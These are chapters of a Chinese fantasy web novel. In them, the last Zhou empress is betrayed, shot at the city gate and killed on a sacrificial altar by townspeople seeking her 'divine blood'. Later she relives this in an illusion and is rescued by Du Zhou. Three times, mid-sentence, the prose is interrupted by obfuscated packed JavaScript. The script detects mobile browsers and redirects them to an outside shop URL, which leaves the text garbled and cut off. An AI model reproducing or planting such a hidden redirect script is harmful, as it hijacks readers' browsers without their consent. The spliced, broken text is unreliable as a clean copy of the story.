周昭迅速唤来一名信得过的副将,将半边兵符交到他手上,不容置喙道:“拿着!回城去找闫斯年,跟他说见不到另外半边兵符,无论如何城门不能开!” “陛下......” “滚!”周昭扬起马鞭甩在那小将身下坐骑屁股上,转身举剑喝道:“众将士听令!随朕踏平敌首!胆敢退者!杀无赦!” 周昭一马当先,竟真的让低迷的士气再度激昂,硬生生逼退敌军十里。作战讲究一鼓作气,那凉州大军猛然间见到一头猛虎殊死抵抗,连攻不下,到了晚上终于偃旗息鼓。 副将谭子卓见缝插针策马至王帐,帐外士兵刚通传完,里面便传来低沉的一声:“进。” 谭子卓当年跟在周昭身边时,还是个面皮白细的小将,如今已经是玄甲营右将军,胡子拉碴看不到五官。他掀帐进去,一股铁锈气息的血腥直往鼻子里钻。周昭白日右下腹挨了一剑,刚缝好,血还在从层层叠叠的纱布里往外冒。 堂堂七尺男儿脸色先白了半边,半晌没说话。 周昭蹙了蹙眉,谭子卓打了个激灵,霎时反应过来,进言道:“陛下,咱们打不起持久战,当务之急不如先撤回城中。留得青山在,不怕没柴烧!” 周昭自然知道对方说得在理。这里虽然是个隆起的土坡,能守一时,但凉州人数众多,白日那一仗虽然将对方逼回去一截,要不了多久就会反应过来,届时他们这几千残兵只会是下酒菜。 周昭沉默了不多时,她唇色雪白,说话声音也低,却一字一句都像往地上砸钉子:“传令下去,休整一刻钟,回城。” 周朝的军队就像一群濒死的狼,他们望着那近在咫尺的城楼,透过城楼上点点幽光望进千家万户,望进城中那一盏为自己亮着的灯。 这群苟延残喘的狼,拖着沉重的步伐向前走,忽然间,不知是谁抹了把脸上雾气蒙蒙的雨丝,抬头看了眼,困惑道:“大半夜的,天上那是纸鸢吗?” 士兵们一个接一个地抬头,果然看见数不清的,像纸鸢一样的东西从头顶飘过去。 今夜东南风,这些在大雾里凭空出现纸鸢乘着风,许多已经神不知鬼不觉地飘进了盛都城。 周昭第一反应是凉州人又在耍什么鬼把戏,她取过一支箭,瞄准一只刚好飞过去的纸鸢拉开弓。那鸢像折了翅膀一头栽下来,一个士兵小跑着来到周昭马前,捧着纸鸢道:“陛下,这上面好像有字。” 周昭狐疑地展开一看,一口气上不来,险些从马背上跌下去。 那鸢身上只写了短短三行字: 周天子杀母、弑兄、通敌。 周氏皇族,可解槐鬼之毒。 杀周天子者,赏灵台神血。 …… 伴随着漫天纸鸢飞来的,是远处卷土重来的凉州大军。梁文潜那张已经显出几分阴鸷的脸,招摇过市般露出来,大喊道:“杀周昭者!可挖其心!” “奶奶的!老子宰了你!”谭子卓一边砍落射过来的箭雨,一边揪了几个士兵护驾,高声道:“陛下!快走!再不走来不及了!” 这时,那名周昭白日说要送给他一副冠礼的士兵突然悄悄地问身边人:“……那纸鸢上说的是真的吗?” 虽然周遭喊杀声震天,但这句话不知怎的,准确无误地钻进了周昭耳朵里。 她一下就愣住了。 血液仿佛在那一刻冻成了冰,周昭突然觉得,周围所有人的目光都不约而同地落在自己身上。 她听见风声,本能地抬起头看了看,一只闪着寒光的箭从永安门的方向射过来,正中她胸口。 城楼上那名士兵举着弓高喊:“周昭通敌叛国,欺瞒百姓!这样的皇帝,谁还要替她卖命!” 周昭一动不动地站在原地,她脑海里闪过一个念头——这人可能是个奸细——但她那根撑了这么久的弦已经被这一箭射断了。 周昭本来应该在五年前就死了,硬是顶着一根脊梁骨,撑起这个风雨中摇摇欲坠的王朝。 她不能死,她死了大周怎么办,百姓怎么办。 直到今天再次经过永安门,被自己人一箭射中靶心。 左右之人都被这石破天惊的一箭骇住,一时间两军阵营竟无人敢动。 就到这里了。 从周昭没有在城楼上看见本该率领禁军迎敌的闫斯年时,就知道大势已去。她反手把箭拔出来,哼都没哼一声,谭子卓声线发抖:“陛下……” 周昭掀起眼皮看了他一眼,那眼神出乎意料的平静,周昭将剩下半块兵符交给他:“如果有机会,回城去找斯年,就说……”她艰涩地摇摇头,没说完,末了动了动干裂的嘴唇:“朕对不起你们。” 谭子卓一时大怮,举着兵符喊道:“圣上兵符在此!开城门!速开城门!” 回答他的是一排凌厉的弓箭。 “闫斯年!你个杂种!” 他转身冲进敌阵,身后亲兵一拥而上,像一根点燃的引线,又将这短暂中止的战场重新引爆。 周昭不知是受伤太重还是无心再打,靠着狼牙坐在地上,每当有敌人靠近,狼牙便举起双蹄奋起还击,竟也踢伤了几个凉州人。 但再坚硬的马蹄也比不得开过刃的刀剑,狼牙在挨了几剑过后轰的一声倒下去,周昭感觉自己应该也快死了。她靠着狼牙渐渐冷去的马腹,眼睛里还剩一丝光亮的时候,一双脚踏过地上黏稠的血走到她面前,道:“陛下,久仰圣名。” 周昭抬起黑沉沉的眼睛,扯了抹笑:“尔等鼠辈,也敢造次。” 凉州王不为所动:“来个人给咱们陛下治伤,陛下这身血,可不是一般的金贵。” ..... 一场大雪悄无声息地落下来,雪花掩埋不住蜿蜒的鲜血,大地呈现出触目惊心的伤口。 凉州大军宛如一把插进胸膛的匕首,浩浩荡荡地开进盛都,永安门被连天的炮火震碎了城楼,露出矗立了数千年的血肉。 周昭那道箭伤靠近肩膀,看似凶险但并不致命。她醒来时缓了许久,才反应过来自己还活着,刺鼻的硝烟和漫天鹅毛大雪混在一起,她觉得有些恍惚,不真实,就好像这一切都是大梦一场,梦醒后她还是那个在苍界山上无忧无虑的小公主。 冰冷的雪花一片接着一片落在周昭的脸上,她低头看了看自己,发现没死,只是手脚都被绑住了。 不光如此,她的腕上各系着一串金铃,盔甲已除,身上穿着件红衣,上面印着诡异繁复的纹路。 周昭脑子不太清楚,过了阵子才想起,这应该是为了防止尸变所用到的阵法道具。她一时竟有些想笑,梁文潜谨慎至此,可真是煞费苦心。 这是哪儿? 周昭看见那两只巨大的青铜鼎,想起来了—— 这是祭天台。 “陛下!”一声痛苦的叫声被风声送到耳边,周昭侧过脸,先是看见披头散发的闫斯年,再是他身后好整以暇坐在软椅上的梁文潜。 闫斯年被两个人按住肩膀,须发全白,竟像个风烛残年的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凉州王入城后花了三天三夜,杀光了除周昭外所有皇族,一把火将堆积成山的尸体付之一炬。 其实那把火多余放,百姓跟疯了一样钻进火海里徒手挖出皇族的尸体,狼吞虎咽,宛如野兽。 有的被当场烧死,有的被周围抢食人心的陌生人杀死,有的则疯疯癫癫地吞了心。 有的哭,有的笑...... 最后一个槐鬼解药被堂而皇之地放置在祭天台上,并不设人看守,只说天子神血可避灾,其心可解百毒。 周昭当年隐瞒皇室就是槐鬼解药时,就预想过会有这么一天,只是她没得选。 她清楚地知道这件事大白于天下之日,就是她身败名裂之时。用她一个人的名声换几年太平,周昭觉得挺值。 不过周昭总还心存一点点希望,或许有人可以理解她,可以宽恕她,或许万家灯火还有她一盏。 但事实证明,希望这种东西是给上天眷顾之人的,然而上天从来不会眷顾双手沾满献血的人。 火势漫天,周昭躺在冰冷的祭台上,平静地望着这人间地狱,到处都是熊熊火光,到处都是手持凶器想要取她性命的百姓。 周昭不知道的是,早就三天前那场疯狂的大火之后,盛都城的槐鬼一夜之间全都死绝了。 没有人知道为什么。 虽然槐鬼已经死绝,但恐惧却深深刻在了人们的骨血。总有人想活下去,总有人想让亲人活下去。 起初是一个,后来是两个,无数个...... 他们争先恐后地跑上祭天台,群情激奋细数着周昭的罪状,忘了从前是如何将周昭当做神女供奉,忘了正是他们口中这个“千古罪人”死守着这座城。 他们用刀或者是别的什么利刃,划开周昭的皮肤,温热的血流出血管很快变冷,他们接住这从她的身体里淌出来的“神血”,嘴里骂着,喊着,却没有一个人敢用眼睛看她。 “陛、陛下,民妇不是故意要害您的......”一个抱着婴孩的妇人跪在周昭身边,她哭得那样伤心,襁褓中的婴儿伸出青紫的胳膊哇哇大哭,“陛下,求您赏我儿一点神血吧......” 说着,她掏出一把冷冰冰的匕首,准确无误地割在周昭喉咙上,血瞬间喷薄而出,溅到那妇人惊骇的脸上。她反应了一下,眨眼间变得狰狞可怖,将婴儿的嘴凑到周昭面前,红着眼睛道:“喝!儿快喝呀!这是神血,喝了就再不用怕那槐鬼了!” 周昭意识模糊前心想,这大概就是报应,是她从前拔了那姜国人舌头的报应。 吵嚷声中,一把刀粗暴地插入胸口,周昭这时候才知道,原来人被挖了心是不会立刻死的。 她渐渐看不清眼前的东西,头颅软绵绵地垂到一侧,透过拥挤的人群,周昭忽然看到祭天台下不知道什么时候多了一棵参天大树。 树下有一群衣衫褴褛的乞丐,正眼巴巴地望着祭天台。那棵槐树跟周昭从前看过的都不同,那就只是一棵槐树,上面既没有人脸也没有鬼头,今夜虽是隆冬大雪,槐树却一点点绽放出白色的小花,很是稚嫩,在风雪中轻轻摇曳着枝桠。 汇成溪流的血水一直沿着祭天台流淌,淌到树根底下,让那棵槐树开出的花似乎也染上丝丝血红。 安平六年冬,周朝最后一位皇帝死于祭天台,流干了最后一滴神血。 135. 第 135 章 据说盛都城那场大火足足烧了一月,凉州王害怕槐鬼卷土重来,除了那些祭天台上的人活了下来,剩下一个活人也没放出盛都。 周昭望着眼前火海滔天,那些缺失的记忆突然间像炮弹在脑海里炸开,搅得她头痛欲裂。 她不光想起来了自己举世无双的死法,还想起来了那些刀剑划在身上的感觉,她周身一个激灵,下意识地喊道:“渡舟!” 火势太大了,周昭被浓烟呛得咳嗽,她沿着河道走了几步,越走越觉得熟悉,待看清这片火海是什么地方,陡然间停住脚步。 这不是澹溪,是当年的盛都。 那处高耸入云的地方就是祭天台,火在它脚下就像流动的晚霞,周昭一看到那地方便应激性打了个哆嗦,但现实没给她太多时间缓冲,烧穿了的房梁当头砸下来,周昭躲到一边,穿过鬼哭狼嚎的人群往外走。 奇怪的是,这些火似乎都烧不到她身上来。 无数男女老幼拖家带口在火海里跑,一个小女孩跌跌撞撞扯着嗓子哭,她一把将人抱起,闻到一股皮肉烧焦的味道,虽然知道是幻境,心里却不好受,周昭一边狂奔一边腾出心力来安慰:“小妹妹,别怕,我带你出去。” 眼前的路都被封死了,无论她往哪个方向走,那个方向的火就越凶猛,只有祭天台始终在她眼前。 我上辈子是在祭天台死的,所以幻境里也得死在那上面,是吗? 周昭不合时宜地想起丹妙的话—— 那时候,你会想起来自己是怎么被挖心,又是被谁拿走了你的心的。 如果说这幻境是丹妙做出来的,周昭不大相信他有这么大本事。 但如果丹妙背后的人不是东华,那会是谁…… 怀里的小姑娘没声儿,周昭看了看远处的祭天台,也只有被火逼着往上走。走到半途的时候火已经不那么大了,周昭轻轻晃了晃手里的孩子:“小妹妹?” “姐姐……我爹爹没叛国。”小姑娘趴在她肩膀上囫囵说了句。 “嗯?” “是你叛国。” …… 在周昭遇到这个小姑娘之前的一刻钟,幻境之外渡舟跟白赭正跟那突然冲来的“火球”大打出手。原来那并非寻常火球,而是神女青葵跟那金像青葵一路从食人坡打过来,二人打得四下一片焦土,误打误撞闯进澹溪。 渡舟刚打出一记灵力,猛然间神魂一震,白赭叫道:“愣着干嘛!”渡舟脸色吓人,一团灵光朝着白赭砸下去,亏得白赭躲闪及时,惊道:“你疯了?” 渡舟喝道:“明鸢呢!” “不就在......”白赭忽然住嘴,澹溪边空空如也,哪里有周昭的影子。 幸而青葵只是路过顺手跟他们打打,很快便挥舞着火球走远了。这两尊神像不过是残留了一点儿青葵的神识,非要打到筋疲力竭,直到死才肯罢休。 渡舟二人绕着澹溪转了一圈又一圈,压根没找到周昭的影子。白赭不敢再说找于北杨帮忙的话,渡舟不知什么时候现出本相,盯着澹溪水看了半晌,突然道:“有没有可能......在这水底下。” 这一神一鬼对视间,竟然明白了对方的意思,白赭道:“你是说远洲魂魄不全,有可能被吸进去了?” “也有可能是有人故意让她进去。”渡舟极富深意地看了白赭一眼,对方忙道:“别误会,我什么都不知情。” “我下去找找,你在岸上护阵。”渡舟不容置疑道。 白赭还是第一次给一只鬼护阵,但他接受度极高,变通性极好,很快点点头。 等渡舟到了水底,惊讶地发现这水底的魂片远比他想象中要多。 虽然有一道看不见的禁制压着,也能隐隐感受到那汹涌澎湃的戾气。 渡舟一直游到水底,看到一处隐隐透着火光的地方,等他靠近那团火光再往上游,水温越来越热,水中的倒影越来越清晰。渡舟猛地从水里钻出来,眼前不再是澹溪,而是包裹在熊熊火光里的盛都。 这条河,正是当年他与周昭经过无数次的护城河。 这里靠近永安门,尚未被火势吞噬。渡舟的头顶盘旋着无数厉声尖叫的魂片,那些魂片眼尖地看见水里的一个“活物”,不约而同朝下俯冲,那些憧憧黑影里都是这世上最毒的戾气和最深的怨念,恨不得将渡舟撕碎了吞吃入腹。 本来这些小杂碎压根入不得渡舟的眼,但他反手一挥,除了溅上魂片一身水,竟然没起到丝毫作用。渡舟跟魂片同时愣了愣,片刻之间渡舟的胳膊上便咬上了两个不要命的魂片。 不怎么痛,就是冷,鬼气的冷能冻住活人的心脏,但渡舟本身就算半个鬼,这点儿咬对他来说算不得什么,只是没有法力麻烦了些,得徒手一个个将魂片扯下来捏死。他就这么边往案上走边捏爆了一打魂片,终于没有不长眼的再敢来较劲。 “明鸢!能听到吗!”渡舟感觉盛都城的人都死绝了,除了魂片,根本看不到一个活着的人。 他走了几步,突然摸出昆仲。 如果于北杨将魂片藏在澹溪水底,那么他要找的魂魄肯定也在这里。 一曲招魂从箫身流泻而出,但渡舟很快反应过来,魂片也是魂,他在这种地方招魂,无异于大海捞针,引火上身。 渡舟不过吹了几个音,黑压压的魂片便一股脑地从四面八方飞过来,天上的,水里的,看得见的看不见的,像一群专吃腐肉的乌鸦。 有点麻烦。 渡舟掂量了两下昆仲,骂了句废物。魂片呼啸而来,渡舟却不知想到了什么法子,打定主意站在原地没动。 这时,一道灵光劈头盖脸地打下来,渡舟不偏不倚地往旁边站了站,被灵光打了个半死的魂片仓皇逃窜。白赭脚步匆忙地奔到他面前站定,渡舟挑眉道:“你的法力还能用?” “没用,但我有这个。”白赭摊开手心,赫然是一把闪着青光的宝剑,“这剑可是昆仑上的碎玉打的,能辟邪。” 渡舟看了看昆仲,又骂了句废物,转向白赭,不无怀疑道:“你下来干什么?” “问我?”白赭举着剑,一时半刻还不敢收回鞘中。他可不像渡舟,跟这些东西同宗同源,敢徒手捏死魂片。白赭没好气道:“妖主大人,敢问您在下面做什么法?澹溪水都快沸腾了,那些魂片跟疯了似的乱窜。” “我招了招魂。”渡舟满不在乎道。 白赭一阵无言,反应过来:“你是想找远洲的第三片魂魄?” “嗯,你先别说话。”渡舟想起什么,手又按在昆仲的第九孔上,白赭吓得脸色发白,顾不得神鬼有别,按住他道:“我跟你都没法力,我还不想死!” 渡舟很嫌恶地站远了点,一曲平和舒缓的调子从他唇边流淌出来,白赭虽然不擅长这些,还是能听出招魂曲跟别的曲子区别。 渡舟这首曲子并不是招魂曲,乍一听像支哄孩子听的小调,但又蕴着股劲力徐徐而来。 果然,那些魂片没有再靠近。 渡舟吹了第一遍,没什么反应,他又紧跟着吹起第二遍。 霎时间,起了阵狂乱的大风,渡舟睁开眼睛,声音低沉:“找到了。” 就像一股闪电顺着胳膊打过来,周昭像被烫到似的撒开手,那小姑娘落地稳稳当当,仰着头问她:“姐姐,好久不见,你还记得我吗?” 当然记得! 周昭又惊又惧,小女孩冲她甜甜一笑,模样和当年班师回朝遇到她时一般无二。周昭肉眼凡胎,分不出眼前的目袋是真是假,对方坐在台阶上晃动着小脚,奶声奶气道:“我没有爹爹,刚才的话,是学着玩儿的。” 周昭好半晌才找回自己的声音:“槐鬼是你做的,为何?” 目袋点点头,眨巴着眼睛道:“很多年以前,有个大哥哥挖了自己的眼珠交给我,说以后会来取。后来他来找我,我只是还了那颗眼珠子,有什么错吗?” 她这话说的不清不楚,周昭却直觉跟江梅棠有关,正待多问,那小姑娘来牵住她的手,明明是仰着头,周昭却从那双稚气未脱的眼睛里看到了一丝令人毛骨悚然的东西,目袋轻声道:“姐姐,你想报仇吗?我喜欢你的眼睛,挖掉它给我吧。” “姐姐,人都是天生的坏种,我帮你杀掉他们,好不好?” 目袋的话好像有什么魔力,像根细小的钩子,将周昭心中那些恨意拔出萝卜带出泥,搅得天翻地覆。 是啊,人性本恶,渡无可渡。 她信任旧友,旧友叛她。 她拼死护城,百姓杀她。 她呕心沥血,史书毁她。 为什么不能再造出来一个毁天灭地的目袋?为什么要让这世上的人好好活着? 世人叫她杀神,不如坐实了这个名头,杀光天下人。 周昭几乎要被说动了,她的手轻轻摸了摸自己的眼,就在这时,耳畔突然传来一阵熟悉的箫音,那声音似乎从很遥远的地方传来,断断续续地被风送过来。紧跟着,箫声之后是一声温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294156|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的轻唤—— “明鸢......” 那声音微不可闻,简直好像是从脑子里凭空钻出来的。 她像被蛊惑了似的沿着石阶往上走,连目袋的声音都不能入耳。 这是周昭时隔多年再一次踏上祭天台,尽管做足了心理准备,在看到那副被绑在祭天台上的身体时她还是呼吸一滞。 那上面的人大睁着眼,白色的雪花和黑色的灰烬纷纷扬扬落在红衣上,她好像一具被抽干了生气的人偶,僵硬地偏过头,那副面孔周昭在梦中见过无数回。 台下众生仓皇逃命,台上一隅万籁俱寂。 一念堕神,一念成佛。 “明鸢,你来了......”台上的自己冲周昭伸出手,她无法控制地走过去,轻轻握住那只没有一丝温度的手。 霎那间,好像有什么东西强行破开自己的身体,痛得她死去活来,大叫一声昏了过去。 等到冰冷的触感落在眼皮上,周昭才发现躺在祭天台上的人不是当年的自己,正是现在的自己。 她几乎是立刻感应到一件事:她找到了自己的第三片魂魄。 她尚且存着一口气,按照上辈子的死法,马上就会有人来挖她的心。周昭勉力维持着平静,一晃神,目袋像个幽灵又站在她身边,贪婪地摸了摸她的眉眼,微笑道:“姐姐,你考虑好了吗?被挖心,很痛的。” 周昭当然知道很痛,牙齿止不住地打抖。杂乱的脚步声在耳畔响起,那些“挖心喝血”的字句血淋淋地飘过来,逼得她心理防线迅速崩溃,简直要忍不住将那句同意的话说出口。 这时,不知从哪儿突然跳出来一个老头子。 “尔等刁民!我看谁敢动陛下一根头发!”他手里也拿着一把剑,兴许是从地上捡的,一把年纪抖得像筛糠,脚步却稳,挡在周昭面前像块干瘪的老豆腐。 老头间或回了下头,周昭看清那竟然是李知远的脸。李知远拿着剑乱砍,还真吓住了握刀的百姓,他高声喝道:“陛下即位以来,哪一天不是兢兢业业!现在亡国了!陛下也是我大周的天!你们一个个难道就敢反了天吗!” 周昭滔天的恨意突然间就熄灭了。 原来,老天还是待她不薄。 起码有这么一个人。 虽然平时油嘴滑舌,偶尔迂腐刻板,甚至还有过见风使舵的前科,但就是这样一个浑身上下找不到几处优点的老臣子,义无反顾地挡在了周昭面前。 周昭那一瞬间就释然了。 她原谅了那支永安门射来的箭,毫不犹豫地甩开目袋的手,喝道:“混账,滚!” 死又如何?被挖心又怎样? 她死过一次,难道还怕死吗! 李知远眼含热泪地看了周昭一眼,哽声道:“陛下,史书会记得您的,后人会记得您。” “老东西,你找死!” 李知远被三两下杀死,他的血愈发刺激了这些人,如同饿狼般扑上来。 预感中的痛感却并没有出现,漫天血色的花瓣像雨点落下来,周昭的视线看不清来人,只听见一声急促的呼吸,整个人便落入一个虽然冰冷但是很坚实的怀抱里。 玄色衣袍盖住那鬼画符的红衣,渡舟用力地抱住她,力气大到周昭忍不住怀疑,这人是不是会把她融合好的魂魄压出来,他的声音带了点儿劫后余生的欣喜和克制不住的慌乱:“明鸢,我找到你了。” 周昭紧绷的情绪瞬间缓和下来,低低地应了一声。按理说这种情况下应该有很多重要的话要问,譬如这到底是什么地方?你是怎么找来的?其他人呢? 就像领兵打仗,有突发军情都是挑要紧的问。但周昭问了句不是很合时宜的话:“你刚才要跟我说什么?” 她指的是掉进幻境之前渡舟喊她的那一声,渡舟先是愣住,随后笑道:“殿下真的想知道吗?” 从前渡舟这么称呼她是出于尊重,后来这种称呼往往出于他刻意为之的促狭。 果然,渡舟凑近她耳边低声说了句,周昭虽然脸色未变,耳朵却却肉眼可见地透出一点儿可疑的红。 渡舟就这么一路抱着她走下祭天台,途中周昭想自己下来走,这人非不肯。到了视线稍微明亮的地方,周昭才看清渡舟的样子颇有几分不寻常的狼狈。 虽然恢复了本相,脸上却黑一块白一块,衣裳也有几处被火烧烂了。不等周昭问询,白赭便神出鬼没地闪到面前,长舒一口气,叫道:“老天,你们终于下来了!” 136. 第 136 章 他们跟着周昭的第三片魂魄来到祭天台,渡舟率先上去,等得白赭险些都以为出了什么事儿,才见这两个人慢慢悠悠地下来。 周昭打量白赭一番,问道:“神君,你这是打哪儿来啊?” 白赭本来就被土埋了五天,衣衫褴褛,再加上刚才一路跑过来,实在算不得多体面。 不消说,周昭也看见了魂片,更让她吃惊的是,刚才还四散逃命的百姓,突然间全都消失不见了。 周昭三言两语将自己掉入幻境的经过讲了一遍,渡舟沉吟道:“有两种可能,一是这幻境是为殿下一个人打造的,所以你能看见熟悉的人和发生过的事,而我们只能看到已经死了的魂片。另一种可能......明鸢,手伸出来。” 周昭听话地将手递给他,渡舟将昆仲交到她手上,霎那间光芒大盛。 “另一种可能,你从前肉眼凡胎,认不出魂片。魂魄融合之后,从前修行的法力自然而然回到了身体里。”渡舟解释道。 其实不用渡舟解释,周昭也感觉到了这具身体跟平时截然不同,平和沉稳的灵力流经四肢百骸,阔别已久的力量重回体内,让周昭感到很陌生。 但关于瀛洲那几百年,周昭什么都没记起来。 白赭看着渡舟那根骨箫跃跃欲试,摩拳擦掌:“你那是什么好东西,能不能让我试试。” 渡舟很大方地将昆仲往前递了递,周昭提醒的话还没说出口,白赭便捏着指尖缩回去,发出一声杀猪般的叫声:“这什么鬼东西!” “分人,认主。”渡舟轻飘飘地撂下两句,看了看四周,眉头紧锁,“这些魂片被那道禁制压着,暂时不会胡乱咬人,但快到极限了。” “咱们怎么出去?原路返回吗?”白赭攥着手里的剑,很是没有安全感。 “原路返回。” 原路返回的意思,就是再从盛都的护城河游出去。这幻境设的很是巧妙,谁能想到澹溪就是入口呢?渡舟可能觉得在周昭面前,徒手捏爆魂片有点儿不大好,所以现在都是用昆仲敲。 有不识相的魂片飞得稍微靠近,被昆仲一敲一个准。 堂堂无相妖主的法器,被当成木棍子使也是很憋屈,白赭朝这边瞅了一眼,气急败坏道:“渡舟,你就是用那个打我一棒子?” 周昭觉得白赭再跟渡舟待两天,多年修炼出来的平心静气不可动怒就会毁于一旦。 走了几步,周昭察觉出不对劲。 渡舟是个嫌麻烦的人,不至于无聊到拿昆仲一路敲过去,当时在无相城周昭见识过渡舟一瞬间灭掉上千魂片,总不能现在闲得无聊。她一把抓住渡舟的手,紧张地问道:“你受伤了?” 白赭嘴快道:“他没受伤,是这幻境有问题,法力使不出来。” 周昭陡然间脸色微变。 就在这时,一个身穿白衣的人朝他们走过来,这人衣衫整齐一丝不苟,神情并不热切,也不居高临下,威严和温和两个截然不同的词,在他身上竟有种莫名的和谐,就像一尊洁白无暇的白玉神像。 这的确也是一尊神。 如果不是对她那师父极为熟悉,骤然见到这张一模一样的脸,周昭险些以为这就是于北杨。 于南桑的视线在她脸上淡淡扫过,露出一个一点儿也不像江梅棠的浅笑。这笑容看得周昭心里发怵,有些一直想不通的事情似乎慢慢豁然开朗。 白赭正愁怎么走出去,乍然见到老熟人,张开双臂上前拥抱,喜道:“东华!你怎么来了,我——” 周昭喝道:“小心!” 起初周昭没想明白自己为什么会掉进幻境,还这么轻而易举地找到了第三片魂魄。 要是按于北杨所说,现在魂片没解决,她没道理这么快拿到魂魄。 只有一种可能,布下这重幻境的人没想过让他们活着走出这里。眼下渡舟跟白赭都被困在这幻境里,还丢了法力,那么谁最先出现在这里,谁就是要取他们性命的人。 周昭那一声还是提醒晚了,白赭毫无防备,冷不防被于南桑捅了个对穿,难以置信道:“东华,你......你被夺舍了?”于南桑利落地将剑拔出来,白赭两眼一翻倒下去。于南桑抖了抖剑上的血,抬起头,冲着他们微笑道:“陛下,好久不见了。” “你!”周昭一时大惊,被渡舟拦住,低声道:“明鸢,来者不善。” 她当然知道来者不善,白赭都成这样了来者能善吗! 这突如其来的变故让周昭一时没缓过来,她忽然觉得这话有点耳熟,带着几分犹疑道:“你是萤木?” 于南桑微笑道:“可以这么说……你想看看他的伤?” 他冲周昭招招手:“来这边看,我不会伤你。白赭是我朋友,我有分寸,他一时半刻死不了。” 这话有两层意思。第一,于南桑没被夺舍。第二,白赭一时半刻死不了,两时三刻或许就死了。 这人就像个平静的疯子。 她从前觉得自己疯,现在看来不由自惭形秽。周昭简单给白赭止住血,问道:“你到底要干什么?” “周昭,你还不明白我想要什么吗?”他转而望向渡舟,言辞模糊,“你身边的这位,一定知道我想要什么。” 渡舟攥紧拳头,看得出来很想将江梅棠一刀劈了,他冷声道:“于北杨人呢?你亲弟弟知道你回来了吗?” 提到“于北杨”这三个字时,于南桑脸上浮现出一丝很奇特的表情,他只用了片刻就将表情恢复如常:“北杨他身子不好,在家中休养,怎么,你见过他了?” “别装蒜!”渡舟骂道。 “渡舟,单凭你掺和瀛洲的事,我就能杀了你。”于南桑温声道。 渡舟冷笑道:“就凭你?这世上能杀我的人,还没出生。” 剑拔弩张之下,周昭不由紧张,渡舟安抚道:“明鸢,这一回,我会带你走的,相信我。” 他越是这么说,周昭心跳得越厉害。 于南桑有意无意地说道:“听说无相渊几百年前出了位妖主,连成业那种厉鬼都被降服,我还当是只什么妖,原来也是只鬼。我还听说,当年盛都城的槐鬼一夜之间死绝,我一直想不明白你为什么没有死,刚才看到她找回来的那段记忆,我才知道是怎么回事。” 槐鬼一夜之间死绝,跟渡舟有什么关系? 渡舟没回应周昭的目光,不咸不淡道:“陈芝麻烂谷子的事儿,你要是有闲心,不如下地狱跟成业聊去。” “好吧,咱们速战速决,我还要回家给北杨做饭。”于南桑自始至终都气定神闲,如果只听他的语气,是断然想不到,这样的人会做出刚才那种事来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295330|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 渡舟像是听到什么好笑的事情,转了转指尖的昆仲,森然道:“说这么好听啊,能将自己亲弟弟囚禁几百年的人,你说这种话不会脸红吗?反正我是恶心到想吐了。” 于北杨被于南桑囚禁了几百年?? 周昭心下震惊,露出一脸“你又有什么事情瞒着我”的表情,渡舟不露声色地避开目光。 于南桑的神情终于崩开一道裂缝,勉力维持道:“我是为他好。” “对,你当然是为他好。”渡舟慢条斯理道,“我这个人重诺,但想了想你们俩兄弟也不是什么好东西,我也没必要替他保守秘密。当年月临被大周攻占,你这当哥哥的神君事不关己高高挂起,你弟弟气不过,又没你那么大本事,在人间招兵买马当反贼。你早不出现晚不出现,偏偏这时候将于北杨强行带回,美其名曰不准他插手人间事,这下可好,于北杨一番筹划付诸东流。” “说实话,本来成业没想将你们月临人怎样,偏生看到于北杨这么个前途不可限量的‘好苗子’到处反他,一怒之下斩草除根,将月临人杀了个干净。等于北杨被你放出来,成业已经死了,他只好拿成业的尸体出气。人皇被五马分尸,引发天谴,鬼王横空出世。你镇压成业,名声更上一层楼,无数人来到瀛洲顶礼膜拜。于南桑,你敢说这事儿跟你毫无干系?” 于南桑脸色稍变,语气也冷下去:“成业已经死了,你说这些有什么用?” “成业已经死了,但于北杨心里的恨却没消。你当年怎么不拿这话去堵你亲弟弟的嘴?他化名江梅棠,来人间搅了个天翻地覆,一心想让大周灭国。这时候你在哪儿?你亲弟弟日复一日拿人命消遣,你又在哪儿?当你发现当年死去的那些魂魄戾气无法控制,于北杨想用自身献祭这些魂片时,你又早不出现晚不出现,一边将他囚禁在山上数百年,一边压制魂片不流向人间。” “堂堂东华神君,多清高,多伟大。可你的法力终究有限,魂片早晚压不住,后来你发现人皇血脉天生能净化这些邪祟,但阴差阳错,周氏血脉已经被你弟弟杀完了,只剩下他唯一的徒弟......” 周昭身子像片落叶似的抖了抖,渡舟愈发用力地牵着她,一字一句咬牙切齿道:“但她的血已经流干了,她的心早在一千年前就被挖了......于南桑,单凭你将主意打到我的人身上,我一定杀了你!” 周昭自己都不知道,那颗遗失了上千年的心还有这么大作用。 她记忆有损,于南桑无法顺藤摸瓜找到当年到底是谁挖了她的心,只好将她的肉身连同其中一片魂魄放在九洲城,试图唤醒她那支离破碎的记忆。 不过这其中或许出现了什么偏差,她的记忆还没完全恢复,于北杨便发现了自己亲哥哥的计划。他让丹妙带着另一片魂魄到无相城,引导渡舟发现她,再一步步将她引来澹溪。 